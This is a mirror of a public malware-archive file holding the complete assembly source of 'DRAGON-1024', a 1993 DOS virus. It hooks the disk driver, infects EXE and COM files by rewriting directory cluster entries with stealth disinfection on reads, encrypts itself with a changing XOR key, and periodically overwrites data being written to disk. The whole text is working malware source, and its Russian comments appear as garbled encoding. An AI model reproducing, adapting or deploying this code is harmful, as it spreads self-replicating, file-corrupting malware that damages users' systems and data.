mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
559 lines
16 KiB
NASM
559 lines
16 KiB
NASM
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
; º MicroVirus Corp. ºÛÛ
|
||
; º Author: anti ºÛÛ
|
||
; º VIRUS FAMILY: Dragon ºÛÛ
|
||
; º VERSION: 1.0 ºÛÛ
|
||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼÛÛ
|
||
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
; º Name: DARGON-1024 ³ Target: EXE, COM ºÛÛ
|
||
; º Rating: Dangerous ³ Stealth: Yes ºÛÛ
|
||
; º Tsr: Yes ³ Phantom: Yes ºÛÛ
|
||
; º Arming: Yes ³ Danger(6): 4 ºÛÛ
|
||
; º Attac Speed: Very Fast ³ Clock: No ºÛÛ
|
||
; º Text Strings: Yes ³ Echo: Yes ºÛÛ
|
||
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶÛÛ
|
||
; º Find Next Target: SCANING ROOT DIRECTORY ºÛÛ
|
||
; º Other viruses: none ºÛÛ
|
||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼÛÛ
|
||
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
code segment para 'code'
|
||
assume cs:code,ds:code
|
||
org 100h
|
||
|
||
dragon proc
|
||
mov di,offset Begin ;<3B> §è¨ä஢ª ¢¨àãá
|
||
mov cx,1010
|
||
|
||
mov ax,00h ;Š«îç ¤«ï à áè¨ä஢ª¨ (¬¥ï¥âáï)
|
||
Decode: xor word ptr [di],ax
|
||
inc di
|
||
loop Decode
|
||
|
||
Begin: mov ah,30h ;‡ ¯à 訢 ¥¬ ¢¥àá¨î
|
||
int 21h ;DOS
|
||
|
||
cmp al,04h ;DOS 4.x+ : SI = 0
|
||
sbb si,si ;DOS 2/3 : SI = -1
|
||
|
||
mov ah,52h ;‡ ¯à 訢 ¥¬ ¤¤à¥á DOS List of
|
||
int 21h ;List ¢ ॣ¨áâàë ES:BX
|
||
|
||
lds bx,es:[bx] ;DS:BX 㪠§ë¢ ¥â ¯¥à¢ë© DPB
|
||
;( Drive Parametr Block)
|
||
search: mov ax,[bx+si+15h] ;‡ ¯à®á ᥣ¬¥â ¤à ©¢¥à
|
||
cmp ax,70h ;<3B>â® ¤à ©¢¥à ¤¨áª ?
|
||
jne next ;…᫨ ¥â ¢§ïâì á«¥¤ãî騩 ¤à ©¢.
|
||
xchg ax,cx ;<3B>®¬¥áâ¨âì ᥣ¬¥â ¢ CX
|
||
mov [bx+si+18h],byte ptr -1
|
||
mov di,[bx+si+13h] ;‘®åà 塞 ᬥ饨¥ ¤à ©¢¥à
|
||
;€¤à¥á ®à¨£¥ «ì®£® ¤à ©¢¥à
|
||
;¢ CX:DI
|
||
|
||
mov [bx+si+13h],offset header ;‡ ¯¨á âì ¢ DPB è ᮡá⢥.
|
||
mov [bx+si+15h],cs ;§ £®«®¢®ª ãáâனáâ¢
|
||
next: lds bx,[bx+si+19h] ;‚§ïâì á«¥¤ãî騩 ¤à ©¢¥à
|
||
cmp bx,-1 ;<3B>â® ¯®á«¥¤¨© ¤à ©¢¥à?
|
||
jne search ;<3B>᫨ ¥â ¯à®¢¥à¨âì ¥£®
|
||
|
||
mov ds,cx ;DS : ᥣ¬¥â ®à¨£¥ «ì®£®
|
||
;¤à ©¢¥à
|
||
les ax,[di+6] ;ES : ¯à®æ¥¤ãà ¯à¥àë¢ ¨ï
|
||
;AX : ¯à®æ¥¤ãà áâà ⥣¨¨
|
||
|
||
mov word ptr cs:Strat,ax ;‡ ¯®¬¨âì í⨠¤¢ ¤à¥á
|
||
mov word ptr cs:Intr,es ;¤«ï ¤®«¥©è¥£® ¨á¯®«ì§®¢ ¨ï
|
||
|
||
push cs
|
||
pop es
|
||
|
||
mov bx,128 ;Žá¢®¡®¤¨âì ¢áî ¯ ¬ïâì ªà®¬¥
|
||
mov ah,4ah ;2048 ¡ ©â
|
||
int 21h
|
||
|
||
mov ax,cs ;AX : ¤à¥á 襣® MCB
|
||
dec ax
|
||
mov es,ax
|
||
mov word ptr es:[01h],08h ;Œ ᪨à㥬áï ¯®¤ DOS
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
mov byte ptr Drive+1,-1 ;‘¡à áë¢ ¥¬ ®¬¥à ¤¨áª
|
||
|
||
mov dx,offset File ;‡ à ¦ ¥¬ ⥪ã騩 ª ⮫®£
|
||
mov ah,3dh ;¤¨áª C:
|
||
int 21h
|
||
|
||
mov bx,ds:[2ch] ;Žá¢®¡®¦¤ ¥¬ ¯ ¬ïâì § ïâãî
|
||
mov es,bx ;PSP
|
||
mov ah,49h
|
||
int 21h
|
||
xor ax,ax
|
||
test bx,bx ;BX = 0?
|
||
jz boot ;…᫨ ¤ , â® ¬ë § à §¨«¨ ¯ ¬ïâì
|
||
mov di,1 ;¨ ¥ § ãá⨫¨ § à ¦¥ë© ä ©«
|
||
seek: dec di ;<3B>®¨áª ª®æ ¡«®ª ¤ ëå DOS
|
||
scasw
|
||
jne seek
|
||
lea dx,[di+2] ;SI 㪠§ë¢ ¥â ¨¬ï § à ¦¥®£®
|
||
push es ;ä ©«
|
||
jmp short exec
|
||
|
||
boot: mov es,ds:[16h] ;<3B>®«ãç¨âì ¤à¥á PSP
|
||
mov bx,es:[16h]
|
||
dec bx ;‚§ïâì ¥£® MCB
|
||
xor dx,dx
|
||
push es
|
||
|
||
exec: push bx ;“áâ ®¢¨âì ¡«®ª ¯ à ¬¥â஢
|
||
mov bx,offset param ; ¤à¥á ª®¬¬ ¤®© áâப¨
|
||
mov [bx+4],cs ;€¤à¥á ¯¥à¢®£® FCB
|
||
mov [bx+8],cs ;€¤à¥á ¢â®à®£® FCB
|
||
mov [bx+12],cs
|
||
pop ds
|
||
|
||
mov ax,4b00h ;‡ ¯ãáâ¨âì § à ¦¥ë© ä ©«
|
||
int 21h
|
||
mov ah,4ch ;‚ë©â¨ ¢ DOS
|
||
int 21h
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Device Driver's Strategy Block *** Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
Strategy: pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
|
||
push es
|
||
pop ds
|
||
|
||
mov ah,[bx+2] ;AH : ª®¬ ¤ DOS
|
||
cmp ah,04h ;‚¢®¤ ( ç¥â¥¨¥)?
|
||
je Work ;…᫨ ¥â - ¯à®¤®«¦¨âì ¯à®¢¥àªã
|
||
cmp ah,08h ;‚뢮¤ ( § ¯¨áì)?
|
||
je Work ;…᫨ ¥â - ¯à®¤®«¦¨âì ¯à®¢¥àªã
|
||
cmp ah,09h ;‚뢮¤ á ª®â஫¥¬?
|
||
je Work ;…᫨ ¥â ¢ë©â¨
|
||
jmp FuckOut
|
||
|
||
Work: call OrigDrive ;Ž¡à ¡®âì ª®¬ ¤ã DOS
|
||
call CheckDrive ;<3B>â® ®¢ë© ¤¨áª?
|
||
je CheckData ;„ - § à §¨âì ¥£®
|
||
call InfectDisk
|
||
|
||
CheckData: mov ax,[bx+14h] ;‡ ¯à®á ç¥â¥¨¥ á¨á⥬®©
|
||
FirstSector: cmp ax,10h ;®¡¤ áâì ¤¨áª ?
|
||
jb FuckOut ;„ - ¢ë©â¨
|
||
LastSector: cmp ax,21h
|
||
ja FuckFile
|
||
|
||
call ChangeSector ;‡ à §¨âì ᥪâ®à ª ⮫®£
|
||
jmp Exit ;‚ë©â¨
|
||
|
||
FuckFile: mov ah,es:[bx+2] ;AH : ª®¬ ¤ DOS
|
||
cmp ah,08h ;‚뢮¤ (ç¥â¥¨¥)?
|
||
je GoAhead ;<3B>஢¥à¨âì ¤ ë¥
|
||
cmp ah,09h ;‚뢮¤ á ª®â஫¥¬?
|
||
jne FuckOut ;<3B>¥â ¢ë©â¨
|
||
|
||
GoAhead: mov ax,es:[bx+14h] ;—¥â¥¨¥ á¨á⥬®© ®¡« áâ¨
|
||
cmp ax,word ptr cs:LastSector+1 ;¤¨áª ?
|
||
jb FuckOut ;„ - ¢ë©â¨
|
||
inc cs:RecNum ;“¢¥«¨ç¨âì ®¬¥à § ¯¨á¨
|
||
cmp cs:RecNum,64h ;<3B>â® 100 § ¯¨áì?
|
||
jne FuckOut ;<3B>¥â ¢ë©â¨
|
||
mov cs:RecNum,00h ;Ž¡ã«¨âì ç¨á«® § ¯¨á¥©
|
||
call DestroyFile ;<3B> §àãè¨âì § ¯¨áë¢ ¥¬ë¥ ¤ ë¥
|
||
|
||
FuckOut: call OrigDrive ;‚맢 âì ®à¨£¥ «ìë© ¤à ©¢¥à
|
||
Exit: pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
Inter: retf ;‚ë©â¨
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Infect Disk *** Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
InfectDisk proc near
|
||
cld ;‡ ¯®¬¨âì § £®«®¢®ª § ¯à®á
|
||
mov cx,0bh ;¢ á⥪¥
|
||
mov si,bx
|
||
Save: lodsw
|
||
push ax
|
||
loop Save
|
||
|
||
mov word ptr [bx+0eh],offset VirusEnd ;“áâ ®¢¨âì ᢮©
|
||
mov word ptr [bx+10h],cs ;¡ãää¥à ¤«ï ç¥â¥¨ï á ¤¨áª
|
||
mov byte ptr [bx+2],02h ;‡ ¯à 訢 ¥¬ BPB
|
||
call OrigDrive ;( BIOS Parametr Block)
|
||
|
||
lds si,[bx+12h] ;DS:SI : ¤à¥á BPB
|
||
|
||
mov ax,[si+11] ;AX : ç¨á«® ᥪâ®à®¢ FAT
|
||
mov word ptr cs:FatSec1+3,ax
|
||
push ax
|
||
dec ax
|
||
mov cx,[si] ;CX : <20> §¬¥à ᥪâ®à ¢ ¡ ©â å
|
||
mul cx ;AX : à §¬¥à FAT ¢ ¡ ©â å
|
||
mov word ptr cs:FatSecSize+2,ax
|
||
pop ax
|
||
shl ax,01h
|
||
add ax,[si+3] ;AX : ‘¥ªâ®à ª â «®£
|
||
mov word ptr cs:FirstSector+1,ax
|
||
push ax
|
||
|
||
xor dx,dx
|
||
mov ax,[si]
|
||
mov word ptr cs:Bytes+1,ax
|
||
mov cx,20h
|
||
div cx
|
||
mov cx,ax
|
||
mov ax,[si+6] ;AX : à §¬¥à ª â «®£
|
||
div cx
|
||
|
||
pop di
|
||
add di,ax ;DI : <20>¥à¢ë© ᥪâ®à ®¡« áâ¨
|
||
mov word ptr cs:LastSector+1,di ;¤ ëå
|
||
mov ax,[si+8] ;AX : ®¡é¥¥ ç¨á«® ᥪâ®à®¢
|
||
push ax
|
||
xor cx,cx
|
||
mov cl,[si+2] ;CX : ç¨á«® ᥪâ®à®¢ ¢ ª« áâ¥à¥
|
||
mov word ptr cs:Cluster+1,cx
|
||
|
||
sub ax,cx ;“¬¥ìè¨âì ç¨á«® ᥪâ®à®¢
|
||
mov word ptr cs:StartSector+3,ax ;à §¬¥à ®¤®£® ª« áâ¥à
|
||
pop ax
|
||
sub ax,di
|
||
xor dx,dx
|
||
div cx
|
||
inc ax
|
||
|
||
push es
|
||
pop ds
|
||
|
||
FatSec1: mov word ptr [bx+14h],01h ;—¨â ¥¬ ¯®á«¥¤¨© ᥪâ®à FAT
|
||
mov word ptr [bx+12h],01h
|
||
mov byte ptr [bx+2],04h
|
||
call OrigDrive
|
||
lds si,[bx+0eh] ;DS:SI : 㪠§ë¢ ¥â áç¨â ë©
|
||
;ᥪâ®à
|
||
push bp
|
||
|
||
mov bp,ax ;BP : ç¨á«® ª« áâ¥à®¢
|
||
cmp ax,0ff6h ;<3B>â® 16 ¡¨â®¢ë© FAT?
|
||
jae Fat16Bit ;…᫨ ¥â ¯à®¤®«¦¨âì
|
||
|
||
More12Bit: mov ax,bp ;Ž¯à¥¤¥«¥¨¥ á¬¥é¥¨ï ¤«ï
|
||
mov cx,03h ;¯®á«¥¤¥£® ª« áâ¥à ¤¨áª
|
||
mul cx
|
||
shr ax,01h
|
||
|
||
mov di,ax ;DI : ¤à¥á í«¥¬¥â FAT ¢
|
||
add di,si ;¡ãää¥à¥
|
||
FatSecSize: sub di,100h
|
||
mov ax,bp
|
||
test ax,01h ;<3B>â® ç¥âë© ®¬¥à ª« áâ¥à ?Í»
|
||
mov ax,[di] ;AX : í«¥¬¥â FAT º
|
||
jnz Chet ;…᫨ ¥â ¯à®¤®«¦¨âì ͼ
|
||
|
||
and ax,0fffh ;Ž¡ã«¨âì áâ à訥 4 ¡¨â
|
||
jmp GoOn
|
||
|
||
Chet: mov cl,04h ;‘¤¢¨ãâì 4 ¡¨â ¢«¥¢®
|
||
shl ax,cl
|
||
jmp GoOn
|
||
|
||
GoOn: cmp ax,0ff7h ;<3B>â® ¯«®å®© ª« áâ¥à ( BAD)
|
||
je Bad12Bit ;…᫨ ¥â ¯à®¤®«¦¨âì
|
||
|
||
test bp,01h ;<3B>â® ç¥âë© ª« áâ¥à
|
||
jnz ChetCluster ;<3B>¥â - ¯à®¤®«¦¨âì
|
||
or ax,0fffh ;<3B>®¬¥â¨âì ª« áâ¥à ª ª ¯®á«¥¤¨©
|
||
mov [di],ax ;¢ 楯®çª¥ ( EOF)
|
||
jmp Contin
|
||
|
||
ChetCluster: mov dx,0fffh
|
||
mov cl,04h
|
||
shl dx,cl
|
||
or ax,dx ;<3B>®¬¥â¨âì ª« áâ¥à ª ª ¯®á«¥¤¨©
|
||
mov [di],ax ;¢ 楯®çª¥ ( EOF)
|
||
jmp Contin
|
||
|
||
Rest: jmp Fuck
|
||
|
||
More16Bit: mov ax,bp
|
||
Fat16Bit: mov di,ax
|
||
add di,si
|
||
sub di,word ptr cs:FatSecSize+2
|
||
mov ax,[di] ;AX : 16 ¡¨â®¢ë© í«¥¬¥â FAT
|
||
cmp ax,0fff7h ;<3B>â® ¯«®å®© ª« áâ¥à?
|
||
je Bad16Bit ;<3B>¥â - ¯à®¤®«¦¨âì
|
||
mov ax,0ffffh ;<3B>®¬¥â¨âì ¥£® ª ª ¯®á«¥¤¨© ¢
|
||
mov [di],ax ;楯®çª¥ ª« áâ¥à®¢ ( EOF)
|
||
jmp Contin
|
||
|
||
Bad16Bit: call bad ;‚§ïâì ¯à¥¤ë¤ã騩 ª« áâ¥à
|
||
jmp More16Bit ;<3B>஢¥à¨âì ¥£®
|
||
|
||
Bad12Bit: call bad ;‚§ïâì ¯à¥¤ë¤ã騩 ª« áâ¥à
|
||
jmp More12Bit ;<3B>஢¥à¨âì ¥£®
|
||
|
||
Contin: mov word ptr cs:Location+1,bp
|
||
pop bp ;‡ ¯¨á âì ¨§¬¥¥ë© FAT ¤¨áª
|
||
push es
|
||
pop ds
|
||
|
||
call Write
|
||
|
||
push es
|
||
push cs
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
|
||
mov si,100h ;‘®§¤ âì ª®¯¨î ¢¨àãá
|
||
mov di,offset VirusEnd
|
||
mov cx,1024
|
||
rep movsb
|
||
|
||
Again: mov ax,40h ;‚§ïâì á«ãç ©®¥ ç¨á«®
|
||
mov es,ax
|
||
mov di,6ch
|
||
mov ax,word ptr es:[di]
|
||
|
||
cmp ax,00h ;—¨á«® à ¢® ã«î
|
||
je Again ;„ ¢§ïâì ¤à㣮¥ ç¨á«®
|
||
|
||
mov word ptr cs:VirusEnd+7,ax ;‘®åà ¨âì ª«îç ¤«ï
|
||
mov word ptr cs:Key+1,ax ;à áè¨ä஢ª¨
|
||
|
||
mov di,offset VirusEnd ;‡ è¨ä஢ âì ¢¨àãá
|
||
add di,14
|
||
mov cx,1010
|
||
Key: mov ax,00h ;Š«îç ¤«ï è¨ä஢ª¨ ( ¬¥ï¥âáï)
|
||
Coding: xor word ptr [di],ax
|
||
inc di
|
||
loop Coding
|
||
|
||
pop es
|
||
push es
|
||
pop ds
|
||
|
||
mov word ptr [bx+0eh],offset VirusEnd
|
||
mov word ptr [bx+10h],cs ;‡ ¯¨á âì § è¨ä஢ ãî ª®¯¨î
|
||
StartSector: mov word ptr [bx+14h],14h ;¢¨àãá ¤¨áª
|
||
mov word ptr [bx+12h],02h
|
||
call Write
|
||
|
||
Fuck: push es ;‚®ááâ ®¢¨âì § £®«®¢®ª § ¯à®á
|
||
pop ds
|
||
std
|
||
mov cx,0bh
|
||
mov di,bx
|
||
add di,20
|
||
Load: pop ax
|
||
stosw
|
||
loop Load
|
||
ret ;‚ë©â¨
|
||
InfectDisk endp
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Infect or Disinfect Directory *** Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
ChangeSector proc near
|
||
xor dx,dx
|
||
mov ax,[bx+12h] ;Š®«¨ç¥á⢮ ᥪâ®à®¢
|
||
Bytes: mov cx,10h ;CX : à §¬¥à ᥪâ®à ( ¬¥ï¥âáï)
|
||
mul cx
|
||
mov di,ax ;DI : à §¬¥à ¢ ¡ ©â å
|
||
lds si,[bx+0eh] ;DS:SI : ¤à¥á ¡ãää¥à á ¤ 묨
|
||
add di,si ;DS:DI : ¤à¥á ª®æ ¡ãää¥à
|
||
xor cx,cx ;<3B>ਧ ª § à ¦¥¨ï
|
||
|
||
push ds ;‘®åà ¨âì ¤à¥á ¡ãää¥à
|
||
push si
|
||
|
||
call InfectSector ;‡ à §¨âì ª â «®£
|
||
jcxz NoInfect ;Œë ¨§¬¥¨«¨ ª â «®£?
|
||
call Write ;„ - § ¯¨á âì ¤¨áª
|
||
|
||
NoInfect: pop si ;‚®ááâ ®¢¨âì ¤à¥á ¡ãää¥à
|
||
pop ds
|
||
inc cl ;<3B>ਧ ª ¢ëªãáë¢ ¨ï ¢¨àãá
|
||
;¨§ § à ¦¥ëå ä ©«®¢
|
||
call InfectSector ;‚ë«¥ç¨âì ª â «®£
|
||
ret ;‚ë©â¨
|
||
ChangeSector endp
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Infect or Disinfect Files *** Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
InfectSector proc near
|
||
More: mov ax,[si+8] ;AX : ¯¥à¢ë¥ ¤¢¥ ¡ãª¢ë à áè¨à¥¨ï
|
||
cmp ax,'XE' ;<3B>â® EXE- ä ©«?
|
||
jne COM ;<3B>¥â ¯à®¢¥à¨âì ¤ «ìè¥
|
||
cmp [si+0ah],al
|
||
je Infect
|
||
COM: cmp ax,'OC' ;<3B>â® COM- ä ©«?
|
||
jne NextFile ;<3B>¥â - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||
cmp byte ptr [si+0ah],'M'
|
||
jne NextFile
|
||
|
||
Infect: cmp word ptr [si+28],1024 ;” ©« ¬¥ìè¥ 1024 ¡ ©â ?
|
||
jb NextFile ;„ - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||
test byte ptr [si+0bh],1ch ;<3B>â® ¤¨à¥ªâ®à¨ï ¨«¨ á¨á⥬ë©
|
||
;ä ©«
|
||
jnz NextFile ;„ - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||
test cl,cl ;‡ à ¦¥¨¥?
|
||
jnz Disinfect ;„ - § à §¨âì ä ©«
|
||
|
||
Location: mov ax,714 ;AX : ª« áâ¥à ᮤ¥à¦ 騩 ¢¨àãá
|
||
;( ¬¥ï¥âáï)
|
||
cmp ax,[si+1ah] ;<3B>â® ä ©« § à ¦¥?
|
||
je NextFile ;„ - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||
xchg ax,[si+1ah] ;‡ à §¨âì ä ©«, AX : áâ à⮢ë©
|
||
xor ax,666h ;ª« áâ¥à ä ©«
|
||
mov [si+12h],ax ;<3B>®¬¥áâ¨âì ¥£® ¢ ®¡« áâì DOS
|
||
inc ch ;<3B>ਧ ª ¨§¬¥¥¨ï ª â «®£
|
||
jmp NextFile ;‚§ïâì á«¥¤ãî騩 ä ©«
|
||
|
||
Disinfect: xor ax,ax
|
||
xchg ax,[si+12h] ;AX : áâ àë© áâ àâ®¢ë© ª« áâ¥à
|
||
xor ax,666h ;§ à ¦¥®£® ä ©«
|
||
mov [si+1ah],ax ;‚ë«¥ç¨âì ä ©«
|
||
|
||
NextFile: add si,20h ;€¤à¥á á«¥¤ãî饣® ä ©«
|
||
cmp di,si
|
||
jne More
|
||
ret
|
||
InfectSector endp
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Destroy Files *** Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
DestroyFile proc near
|
||
push es
|
||
push cs
|
||
pop ds
|
||
les di,es:[bx+0eh] ;ES:DI : ¤à¥á § ¯¨áë¢ ¥¬ëå
|
||
;¤ ëå
|
||
mov si,offset CopyRight ;DS:SI : ¤à¥á áâப¨ á ¨ä®à¬ æ.
|
||
mov cx,120 ;CX : ¤«¨ áâப¨
|
||
rep movsb ;“¨ç⮦¨âì ¤ ë¥
|
||
pop es
|
||
ret ;‚ë©â¨
|
||
DestroyFile endp
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Write to Disk *** Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
Write proc near
|
||
mov ah,es:[bx+2] ;‘®åà 塞 ª®¬ ¤ã DOS
|
||
mov byte ptr es:[bx+2],08h ;Š®¬ ¤ ¢ë¢®¤ ( § ¯¨á¨)
|
||
call OrigDrive ;‚맢 âì ®à¨£¨ «ìë© ¤à ©¢¥à
|
||
;¤¨áª
|
||
mov es:[bx+2],ah ;‚®ááâ ®¢¨âì ª®¬ ¤ã DOS
|
||
and byte ptr es:[bx+4],7fh ;‘¡à®á¨âì ä« £ ®è¨¡ª¨
|
||
ret
|
||
Write endp
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Check Disk *** Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
CheckDrive proc near
|
||
mov al,[bx+1] ;AL : ®¬¥à ¤¨áª
|
||
|
||
drive: cmp al,-1 ;„¨áª ᬥ¨«áï?
|
||
mov byte ptr cs:[drive+1],al ;‡ ¯®¬¨âì ®¬¥à ¤¨áª ?
|
||
jne Change ;„ - ¢ë©â¨. <20>¥â ¯à®¢¥à¨âì ¥
|
||
;ᬥ¨«áï «¨ ä«®¯¯¨ ¤¨áª
|
||
push [bx+0eh]
|
||
mov byte ptr [bx+2],01h ;Š®¬ ¤ Š®âà®«ï ®á¨â¥«ï
|
||
call OrigDrive ;‚맢 âì ¤à ©¢¥à ¤¨áª
|
||
cmp byte ptr [bx+0eh],01h ;„¨áª ᬥ¨«áï?
|
||
pop [bx+0eh]
|
||
mov [bx+2],ah ;‚®ááâ ®¢¨âì ª®¬ ¤ã DOS
|
||
|
||
Change: ret
|
||
CheckDrive endp
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Get Next Cluster *** Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
Bad proc near
|
||
dec bp ;“¬¥ìè¨âì ®¬¥à ª« áâ¥à
|
||
Cluster: mov ax,00h ;AX : ç¨á«® ᥪâ®à®¢ ¢ ª« áâ¥à¥
|
||
;( ¬¥ï¥âáï)
|
||
sub word ptr cs:StartSector+3,ax
|
||
ret
|
||
Bad endp
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Call Original Device Drive *** Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
OrigDrive proc near
|
||
; jmp far 70h:xxxxh
|
||
db 9ah ;‚맢 âì ¯à®æ¥¤ãàã ‘âà ⥣¨¨
|
||
Strat: dw ?,70h ;®à¨£¥ «ì®£® ¤à ©¢ªà ¤¨áª
|
||
; jmp far 70h:xxxxh
|
||
db 9ah ;‚맢 âì ¯à®æ¥¤ãàã <20>à¥àë¢ ¨ï
|
||
Intr: dw ?,70h ;®à¨£¥ «ì®£® ¤à ©¢ªà ¤¨áª
|
||
ret
|
||
OrigDrive endp
|
||
|
||
dragon endp
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Data Area *** Û
|
||
;Û Begin Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
header: inc ax
|
||
ret
|
||
dw 1
|
||
dw 2000h ;€ââਡãâ ãáâனá⢠:
|
||
;<3B>«®ª®¢®¥, ä®à¬ â ¥ IBM
|
||
dw offset Strategy ;€¤à¥á ¯®æ¥¤ãàë ‘âà ⥣¨¨
|
||
dw offset Inter ;€¤à¥á ¯à®æ¥¤ãàë <20>à¥àë¢ ¨ï
|
||
db 7fh ;—¨á«® ¡«®ª®¢ëå ãáâனáâ¢
|
||
|
||
file db 'c:\dragon.com',0
|
||
param dw 0,80h,?,5ch,?,6ch,? ;<3B> à ¬¥âàë ¤«ï § ¯ãáª
|
||
;§ à ¦¥®£® ä ©«
|
||
|
||
CopyRight db 'DRAGON ver 1.0 Copyright (c) MicroVirus Corp. 1993',0
|
||
Lords db 'The Lords of the Computers !',0,0
|
||
Lord db 'DRAGON - the Lord of Disks !',0,0
|
||
Author db 'anti'
|
||
RecNum db ? ;<3B>®¬¥à § ¯¨á¨
|
||
VirusEnd db ?
|
||
|
||
